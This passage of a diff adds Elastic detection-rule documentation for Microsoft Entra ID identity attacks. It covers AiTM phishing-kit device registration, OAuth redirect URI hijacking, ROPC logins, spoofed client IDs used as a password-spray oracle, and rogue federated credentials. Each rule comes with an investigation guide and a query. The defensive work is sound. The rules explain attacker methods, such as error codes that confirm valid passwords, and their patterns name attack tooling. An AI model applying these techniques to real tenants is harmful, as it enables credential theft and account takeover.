(`axios/*`, `python-requests/*`, `Microsoft.OData.Client/*`) instead of a genuine browser/endpoint user agent is high-fidelity tooling. +- Pivot to the paired `Add device` events for each device (correlate via `azure.correlation_id`) and review the modified properties: `DeviceOSType`, `DeviceOSVersion`/`CloudDeviceOSVersion`, and `DeviceTrustType`. A `DeviceTrustType` of `AzureAd` (full join) on a low-privilege user, and an identical hardcoded OS build across all devices in the window, are strong indicators. +- Review the origin surfaced on the alert: `Esql.source_ip_values`, `Esql.source_as_number_values`, `Esql.source_as_organization_values`, and `Esql.source_country_values`/`Esql.source_city_values`/`Esql.source_region_values`. Hosting/VPS ASNs (for example Tencent, Alibaba, or other cloud providers) and unexpected geographies for a device-registration event are high-fidelity suspicious. A single source IP/ASN across every registration in the window is consistent with one piece of kit infrastructure driving the joins. +- Cross-reference `logs-azure.signinlogs-*` for the same user around the registration window. The registrations are brokered through the `Microsoft Authentication Broker` application against the `Device Registration Service` resource; confirm whether the broker was subsequently used to mint tokens for other resources (for example Microsoft Graph) from the same source. +- Cross-reference `logs-azure.auditlogs-*` for a security-info / MFA method registration (`User registered security info`) by the same user near the registration window; AiTM kits commonly plant their own MFA method alongside the device persistence. +- Confirm with the user whether they performed a multi-device enrollment or onboarding action during the window. + + +*False positive analysis* + + +- New-device or onboarding flows where a user enrolls three or more devices in a short window can fire. Validate against the user's known device inventory and any onboarding or device-refresh events. +- Bulk provisioning, autopilot, or MDM rollouts can register multiple devices per user concurrently. Consider suppression during planned rollouts. +- If benign multi-device enrollment is routine in the environment, raise the distinct-device threshold or shorten the window. + + +*Response and remediation* + + +- Treat as likely AiTM compromise or token replay until proven otherwise. Remove the rogue device registrations BEFORE revoking sessions, because device-bound PRTs survive `revokeSignInSessions` and a device left in place re-establishes access. + - `GET /v1.0/users/{id}/registeredDevices` and `/ownedDevices`, then `DELETE /v1.0/devices/{deviceObjectId}` for each unrecognized device in the window. +- Revoke refresh tokens and sessions, then reset credentials and re-register MFA. + - `POST /v1.0/users/{id}/revokeSignInSessions`. +- Temporarily disable the account if activity must be halted during investigation. + - `PATCH /v1.0/users/{id}` with body `{"accountEnabled": false}`. +- Remove other attacker persistence established alongside the device joins: attacker-registered MFA methods, malicious inbox/forwarding rules, and OAuth consents. +- Hunt for the same device-name pattern, OS build, and registration user agent across other users and tenants, and apply Conditional Access to restrict device registration (require a compliant/managed device or trusted network). + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.auditlogs-* +| where data_stream.dataset == "azure.auditlogs" + and azure.auditlogs.operation_name == "Register device" + and azure.auditlogs.properties.initiated_by.user.userPrincipalName is not null + // For "Register device" the registered device is the primary target resource (index 0); + // target_resources is a numeric-indexed object array in this integration, so wildcard/name-based matching is not available. + and `azure.auditlogs.properties.target_resources.0.display_name` is not null + +| eval Esql.bucket_window = date_trunc(15 minutes, @timestamp) + +| stats + Esql.count_distinct_devices = count_distinct(`azure.auditlogs.properties.target_resources.0.display_name`), + Esql.device_name_values = values(`azure.auditlogs.properties.target_resources.0.display_name`), + Esql.user_agent_values = values(azure.auditlogs.properties.userAgent), + Esql.source_ip_values = values(source.ip), + Esql.source_as_number_values = values(source.`as`.number), + Esql.source_as_organization_values = values(source.`as`.organization.name), + Esql.source_country_values = values(source.geo.country_name), + Esql.source_city_values = values(source.geo.city_name), + Esql.source_region_values = values(source.geo.region_name), + Esql.correlation_id_values = values(azure.correlation_id), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp), + Esql.event_count = count(*) + by azure.auditlogs.properties.initiated_by.user.userPrincipalName, Esql.bucket_window + +| where Esql.count_distinct_devices >= 3 + +| keep azure.auditlogs.properties.initiated_by.user.userPrincipalName, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-oauth-application-redirect-uri-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-oauth-application-redirect-uri-modified.asciidoc new file mode 100644 index 0000000000..895a4c5407 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-oauth-application-redirect-uri-modified.asciidoc @@ -0,0 +1,127 @@ +[[prebuilt-rule-8-19-28-entra-id-oauth-application-redirect-uri-modified]] +=== Entra ID OAuth Application Redirect URI Modified + +Identifies modifications to OAuth application redirect URIs (ReplyUrls) in Entra ID. Adding an attacker-controlled redirect URI to an existing trusted application allows interception of OAuth authorization codes when users authenticate through that application's normal login flow, enabling token theft without requiring a new application registration or consent event. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/identity-platform/reply-url +* https://www.microsoft.com/en-us/security/blog/2026/03/02/oauth-redirection-abuse-enables-phishing-malware-delivery/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic +* descambiado + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth Application Redirect URI Modified* + + +A redirect URI addition to an existing trusted application does not generate a consent event and does +not require registering a new application -- both of which are commonly monitored. The modified +application retains all existing user consents. + + +*Possible investigation steps* + + +- Identify the actor who modified the application (`azure.auditlogs.properties.initiated_by`) and + verify whether the change was authorized by the application owner or a change management ticket. +- Review the specific URIs added by comparing `modifiedProperties.oldValue` and `newValue` for the + `ReplyUrls` field in the audit event's `target_resources`. +- Geolocate and WHOIS the domain of any newly added URI -- hosting providers, recently registered + domains, or URL shorteners are strong indicators of compromise. +- Check whether the actor recently became an owner of this application: look for + "Add owner to application" events in AuditLogs for the same application object ID. +- Review the application's Graph API permissions -- applications with Mail, Files, or directory + scopes are the highest-value targets for redirect URI hijacking. + + +*False positive analysis* + + +- Localhost and loopback URIs (`http://localhost:*`, `http://127.0.0.1:*`) added by developers are + expected in non-production applications. Verify the application's sensitivity before closing. +- CI/CD-driven URI updates typically originate from service principal actors, not human users. + + +*Response and remediation* + + +- Remove the unauthorized redirect URI via Entra ID > App registrations > Authentication. +- Revoke all tokens issued to the application since the modification timestamp. +- Review sign-in logs for the application for any sign-ins from unexpected sources after the change. +- If the URI was externally controlled, treat as a full OAuth token compromise for all users of + the application and initiate token revocation and user notification. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.auditlogs" and +azure.auditlogs.operation_name: "Update application" and +event.outcome: ("Success" or "success") and +azure.auditlogs.properties.target_resources.*.modified_properties.*.display_name: "AppAddress" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-oauth-ropc-grant-login-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-oauth-ropc-grant-login-detected.asciidoc new file mode 100644 index 0000000000..1660ee0e1f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-oauth-ropc-grant-login-detected.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-28-entra-id-oauth-ropc-grant-login-detected]] +=== Entra ID OAuth ROPC Grant Login Detected + +Detects unusual resource owner password credential (ROPC) login attempts by a user principal in Microsoft Entra ID. ROPC is a legacy authentication flow that allows applications to obtain tokens by directly providing user credentials. This method is less secure and can be exploited by adversaries to gain access to user accounts without requiring multi-factor authentication (MFA), especially during enumeration or password spraying. This is a New Terms rule that identifies when user principals are involved in ROPC login attempts, not seen before in the last 10 days, indicating potential abuse or unusual activity. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign +* https://dirkjanm.io/assets/raw/Finding%20Entra%20ID%20CA%20Bypasses%20-%20the%20structured%20way.pdf +* https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth-ropc +* https://redcanary.com/blog/threat-detection/bav2ropc/ +* https://www.huntress.com/blog/lshiy-password-spray-attack + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth ROPC Grant Login Detected* + + +This rule detects unusual login attempts using the Resource Owner Password Credentials (ROPC) flow in Microsoft Entra ID. ROPC allows applications to obtain tokens by directly providing user credentials, bypassing multi-factor authentication (MFA). This method is less secure and can be exploited by adversaries to gain access to user accounts, especially during enumeration or password spraying. + + +*Possible investigation steps* + +- Review the `azure.signinlogs.properties.user_principal_name` field to identify the user principal involved in the ROPC login attempt. Check if this user is expected to use ROPC or if it is an unusual account for this type of authentication. +- Analyze the `azure.signinlogs.properties.authentication_protocol` field to confirm that the authentication protocol is indeed ROPC. This protocol is typically used in legacy applications or scripts that do not support modern authentication methods. +- Check the `user_agent.original` field to identify potentially abused open-source tools or scripts that may be using ROPC for unauthorized access such as TeamFiltration or other enumeration tools. +- Review the `azure.signinlogs.properties.app_display_name` or `azure.signinlogs.properties.app_id` to determine which application is attempting the ROPC login. FOCI applications are commonly used for enumeration and password spraying. +- Investigate the `azure.signinlogs.properties.client_ip` to identify the source of the login attempt. Check if the IP address is associated with known malicious activity or if it is a legitimate user location. +- Review the `azure.signinlogs.properties.authentication_details` field for any additional context on the authentication attempt, such as whether it was successful or if there were any errors. +- Examine the `azure.signinlogs.properties.applied_conditional_access_policies` to see if any conditional access policies were applied during the login attempt. If no policies were applied, this could indicate a potential bypass of security controls. +- Identify the resource requested access to by checking the `azure.signinlogs.properties.resource_display_name` or `azure.signinlogs.properties.resource_id`. This can help determine if the login attempt was targeting sensitive resources or applications such as Exchange Online, SharePoint, or Teams. + + +*False positive analysis* + +- Legitimate applications or scripts that use ROPC for automation purposes may trigger this rule. +- Some legacy applications may still rely on ROPC for authentication, especially in environments where modern authentication methods are not fully implemented. +- Internal security tools or scripts that perform automated tasks using ROPC may generate false positives if they are not properly whitelisted or excluded from the rule. + + +*Response and remediation* + +- If the ROPC login attempt is confirmed to be malicious, immediately block the user account and reset the password to prevent further unauthorized access. +- Consider enforcing multi-factor authentication (MFA) for the user account to enhance security and prevent future unauthorized access attempts. +- Review and update conditional access policies to restrict the use of ROPC for sensitive accounts or applications, ensuring that MFA is required for all login attempts. +- Investigate the source of the ROPC login attempt, including the application and IP address, to determine if there are any additional indicators of compromise or ongoing malicious activity. +- Monitor the user account and related resources for any further suspicious activity or unauthorized access attempts, and take appropriate actions to mitigate any risks identified. +- Educate users about the risks associated with ROPC and encourage them to use more secure authentication methods, such as OAuth 2.0 or OpenID Connect, whenever possible. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" and + ( + azure.signinlogs.properties.authentication_protocol: "ropc" or + user_agent.original: "BAV2ROPC" + ) and + azure.signinlogs.properties.authentication_requirement: "singleFactorAuthentication" and + azure.signinlogs.properties.user_type: "Member" and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-phishing-kit-default-os-build-entity-analytics.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-phishing-kit-default-os-build-entity-analytics.asciidoc new file mode 100644 index 0000000000..4137cf3ca6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-phishing-kit-default-os-build-entity-analytics.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-28-entra-id-phishing-kit-default-os-build-entity-analytics]] +=== Entra ID Phishing Kit Default OS Build (Entity Analytics) + +Identifies the first occurrence of a Microsoft Entra ID device, surfaced through the Entra ID Entity Analytics device inventory, whose host name follows the default "DESKTOP-" pattern and whose operating system build is "10.0.19045.2006". This is the frozen default device profile observed when adversary-in-the-middle (AiTM) phishing kits such as Tycoon2FA and Kali365 register Azure AD-joined devices after capturing a victim session, in order to acquire a Primary Refresh Token (PRT) and establish persistence. The build is hardcoded by the tooling and differs from legitimate hosts: a patched Windows 10 22H2 device reports a far higher "10.0.19045." value, so a device frozen at ".2006" with a default name is a high-fidelity, though evadable, indicator. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-entityanalytics_entra_id.device-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-6h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://any.run/malware-trends/tycoon/ +* https://www.huntress.com/blog/kali365-device-code-phishing-kit +* https://any.run/malware-trends/kali365/ +* https://arcticwolf.com/resources/blog/token-bingo-dont-let-your-code-be-the-winner/ +* https://www.ic3.gov/PSA/2026/PSA260521 + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Entity Analytics +* Use Case: Asset Visibility +* Use Case: Threat Detection +* Threat: Tycoon2FA +* Threat: Kali365 +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Phishing Kit Default OS Build (Entity Analytics)* + + +AiTM phishing kits including Tycoon2FA and Kali365 register a device in Entra ID with a frozen default operating system build of `10.0.19045.2006` and a default name of `DESKTOP-`. This build is hardcoded by the tooling and differs from the OS version of legitimate, patched hosts (a current Windows 10 22H2 device reports a much higher `10.0.19045.` value), making the build a useful indicator of kit-driven device registration. This rule runs against the Entra ID Entity Analytics device inventory and fires the first time a device matching this fingerprint appears, so an alert generally represents a newly observed rogue device rather than a real-time registration event. Rogue device registration is typically a precursor to Primary Refresh Token (PRT) acquisition, MFA/Conditional Access bypass, and persistent token-based access. + + +*Possible investigation steps* + + +- Confirm the device identity via `host.name`, `host.os.version`, `entityanalytics_entra_id.device.display_name`, and `entityanalytics_entra_id.device.id` (or `device.id`). Default `DESKTOP-` names that do not match your naming convention are suspicious; kit-registered names are commonly `DESKTOP-` followed by 6 alphanumeric (Tycoon2FA) or 6 hexadecimal (Kali365) characters. +- Review `entityanalytics_entra_id.device.registration_date_time` and `entityanalytics_entra_id.device.trust_type` to establish when and how the device was registered; kit devices are typically `AzureAd` joined. +- Identify the registered owner via `entityanalytics_entra_id.device.registered_owners.user_principal_name` and determine whether that user is expected to register a new device. +- Check `entityanalytics_entra_id.device.is_managed` and `entityanalytics_entra_id.device.is_compliant`; kit-registered devices are typically unmanaged and non-compliant. +- Pivot to `logs-azure.auditlogs-*` for the corresponding `Add device` and `Register device` events (initiated by the `Device Registration Service` via the `Microsoft Authentication Broker`). Inspect the `Register device` user agent, which is frequently a spoofed `Dsreg/10.0 (Windows 10.0.19045.2006)` string or a raw HTTP client such as `axios/*` or `python-requests/*`. +- Check whether the same owner registered multiple devices in a short window (a single piece of kit infrastructure registering several devices is common for PRT persistence at scale) and whether the broker was subsequently used to mint tokens for other resources such as Microsoft Graph. +- Pivot to `logs-azure.signinlogs-*` for sign-ins by the device owner where the incoming token type is a `primaryRefreshToken`. + + +*False positive analysis* + + +- Unmanaged or never-patched Windows 10 22H2 hosts may legitimately report the `10.0.19045.2006` build with a default `DESKTOP-` host name. Validate against device inventory and patch baseline. +- Authorized security assessments that register devices with this OS profile will appear in inventory. Document the engagement and add scoped exceptions. + + +*Response and remediation* + + +- If confirmed malicious, remove the device from Entra ID and revoke the owner's refresh tokens and primary refresh tokens. Remove the device BEFORE revoking sessions, because device-bound PRTs survive `revokeSignInSessions`. +- Disable the account or reset credentials per policy and review for additional persistence (attacker-registered MFA methods, added owners, app registrations, or service principal credentials). +- Tighten device registration and join controls via Conditional Access (restrict who can register/join devices and require MFA for registration). + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"entityanalytics_entra_id.device" and + event.provider:"Microsoft Entra ID" and + host.name:DESKTOP-* and host.os.version:"10.0.19045.2006" and + host.id: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-ropc-authentication-with-unknown-client-id.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-ropc-authentication-with-unknown-client-id.asciidoc new file mode 100644 index 0000000000..7682a67d4d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-ropc-authentication-with-unknown-client-id.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-28-entra-id-ropc-authentication-with-unknown-client-id]] +=== Entra ID ROPC Authentication with Unknown Client ID + +Identifies potential OAuth client ID spoofing in Microsoft Entra ID sign-in logs. Adversaries submit fabricated or non-existent application identifiers (client IDs) in Resource Owner Password Credentials (ROPC) authentication requests to the token endpoint. Because Entra ID validates the submitted credential before rejecting the request on application resolution, the resulting error code acts as a credential- and account-validity oracle while never producing a successful sign-in. By fragmenting attempts across many fictional application identifiers, adversaries evade per-application detections, rate limiting, and application-scoped Conditional Access. This rule detects a ROPC authentication that fails with error code 700016 (application not found in the directory) where no application display name resolves, which is characteristic of a spoofed client ID used for stealthy user enumeration and password spraying. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.proofpoint.com/us/blog/threat-insight/oauth-client-id-spoofing-why-fake-client-ids-are-gaining-traction-stealthy +* https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes +* https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth-ropc + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-in Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID ROPC Authentication with Unknown Client ID* + + +Adversaries submit fabricated application identifiers (client IDs) in ROPC authentication requests to Microsoft's token endpoint. Entra ID validates the supplied username and password before rejecting the request because the application does not exist, so the returned error code reveals whether the credential and account are valid without ever producing a successful sign-in. A valid credential paired with a spoofed client ID returns `AADSTS700016` (application not found), an invalid password returns `AADSTS50126`, and a non-existent user returns `AADSTS50034`. Because the application never resolves, application-scoped Conditional Access is bypassed, and fragmenting requests across many random client IDs defeats per-application correlation and rate limiting. This behavior is used for stealthy user enumeration and password spraying (for example, the campaigns Proofpoint tracks as UNK_pyreq2323 and UNK_OutFlareAZ). + +This rule detects a ROPC authentication (`authentication_protocol: ropc`) that fails with `status.error_code: 700016` and carries no resolved `app_display_name`, the signature of a spoofed or non-existent client ID. This is a New Terms rule that triggers only when the application identifier (`app_id`) has not been observed in the tenant's sign-in logs in the previous 10 days, so each newly introduced spoofed client ID surfaces once rather than on every attempt. + + +*Possible investigation steps* + + +- Review `azure.signinlogs.properties.app_id`: the value is a client ID that does not resolve to any registered application in the tenant. Determine whether the same principal or source is presenting many distinct or randomized client IDs (fragmentation) versus a single stable identifier (possible deleted app). +- Assess `azure.signinlogs.properties.user_principal_name`: a valid user account produces a sign-in log for this activity, so the targeted principal exists in the directory and its credentials are being probed. Prioritize privileged or high-value accounts. +- Correlate `azure.signinlogs.properties.status.error_code` for the same user and source over time. A shift from `50126` (invalid password) to `700016` (application not found) for the same account indicates the adversary has confirmed a valid credential, because the request advanced past credential validation. +- Review `source.ip`, `source.as.organization.name`, and `source.geo.country_name`: enumeration commonly originates from hosting providers, VPNs, or proxy infrastructure rather than corporate ranges. +- Inspect `user_agent.original` and `azure.signinlogs.properties.client_app_used`: scripted enumeration frequently uses generic HTTP libraries and logs `client_app_used` as `Unknown`. +- Pivot on the source IP or ASN to determine how many distinct user principals are being probed, which distinguishes targeted probing from broad spraying. + + +*False positive analysis* + + +- A legitimate application deleted from the tenant while a client keeps authenticating against its former client ID via ROPC can produce `700016`. Such activity is typically a single, stable client ID at low volume, unlike the many distinct or randomized identifiers seen in spoofing. +- A misconfigured legacy client submitting an incorrect client ID may also trigger this rule. Confirm the client ID, the source, and whether the same principal is targeted by multiple unresolved client IDs before dismissing. + + +*Response and remediation* + + +- If enumeration is confirmed, treat the targeted accounts as credential-probing targets: force password resets and revoke refresh tokens for any account where the error code progressed to `700016` (credential likely validated). +- Block the offending source IPs or ASNs at the firewall, proxy, or via Conditional Access named locations. +- Ensure MFA and Conditional Access are enforced for all user types, and disable legacy and ROPC authentication where not required, since ROPC cannot satisfy MFA. +- Audit targeted accounts for credential reuse across services and monitor for follow-on interactive or non-interactive sign-in success from the same source. +- Notify your identity security team and correlate with any concurrent brute-force or password-spray detections. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" + and event.category: "authentication" + and azure.signinlogs.properties.authentication_protocol: "ropc" + and azure.signinlogs.properties.status.error_code: 700016 + and not azure.signinlogs.properties.app_display_name: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-service-principal-federated-credential-authentication-by-unusual-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-service-principal-federated-credential-authentication-by-unusual-client.asciidoc new file mode 100644 index 0000000000..7031302729 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-service-principal-federated-credential-authentication-by-unusual-client.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-28-entra-id-service-principal-federated-credential-authentication-by-unusual-client]] +=== Entra ID Service Principal Federated Credential Authentication by Unusual Client + +Identifies when a service principal authenticates using a federated identity credential for the first time in the historical window. This indicates that Entra ID validated a JWT token potentially against an external OIDC identity provider and issued an access token. While legitimate for CI/CD workflows (GitHub Actions, Azure DevOps), adversaries may abuse this by configuring rogue identity providers (BYOIDP) to authenticate as compromised applications. First-time federated credential usage for a service principal warrants investigation to determine if the external identity provider is legitimate. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.signinlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dirkjanm.io/persisting-with-federated-credentials-entra-apps-managed-identities/ +* https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation +* https://github.com/dirkjanm/ROADtools + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Tactic: Defense Evasion +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Service Principal Federated Credential Authentication by Unusual Client* + + +If this rule triggers, it indicates that a service principal has authenticated using a federated identity credential for the first time within the historical window. This means that Entra ID validated a JWT token potentially issued by an external OIDC identity provider and issued an access token for the service principal. While this can be legitimate for CI/CD workflows (e.g., GitHub Actions, Azure DevOps, Kubernetes OIDC), it can also indicate abuse by adversaries who have configured rogue identity providers (BYOIDP) to authenticate as compromised applications. For BYOIDP attacks, this is the moment the adversary's rogue identity provider is used to authenticate as the +compromised application for the first time. + + +*Possible investigation steps* + + +- Identify the service principal using `azure.signinlogs.properties.app_id` and `app_display_name`. +- Critical: Check the application's federated credential configuration in Entra ID: + - What is the issuer URL? Is it a known legitimate provider (GitHub Actions, Azure DevOps, Kubernetes)? + - When was the federated credential added? Was it recent? + - Who added the federated credential? +- Review the `service_principal_credential_thumbprint` - does it match expected certificates? +- Investigate the source IP (`azure.signinlogs.caller_ip_address`) - is it from expected CI/CD infrastructure? +- Check what resources were accessed after authentication using `azure.signinlogs.properties.resource_display_name`. +- Correlate with Graph Activity logs to see what API calls were made with this token. +- Use the `correlation_id` to find related sign-in and activity events. +- Review audit logs for recent changes to this application's federated credentials. + + +*False positive analysis* + + +- Legitimate CI/CD pipelines using GitHub Actions, Azure DevOps, or Kubernetes OIDC will trigger this rule on first use. +- New application deployments with workload identity federation are expected to show as new behavior. +- Validate the issuer URL against approved identity providers before dismissing. +- Create baseline of applications expected to use federated credentials. + + +*Response and remediation* + + +- If this is unexpected federated auth for the application, immediately investigate the federated credential configuration. +- Review the external IdP issuer URL configured on the application - is it legitimate? +- If BYOIDP is confirmed: + - Remove the malicious federated credential immediately. + - Revoke active sessions and tokens for the affected service principal. + - Audit what actions were performed using the compromised identity. + - Investigate how the federated credential was added (compromised admin account). + +==== Setup + + + +*Required Microsoft Entra ID Sign-In Logs* + +To use this rule, ensure that Microsoft Entra ID Sign-In Logs are being collected and streamed into the Elastic Stack via the Azure integration. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" + and azure.signinlogs.category: "ServicePrincipalSignInLogs" + and azure.signinlogs.properties.client_credential_type: "federatedIdentityCredential" + and azure.signinlogs.result_signature: "SUCCESS" + and azure.signinlogs.properties.app_id: * + and not 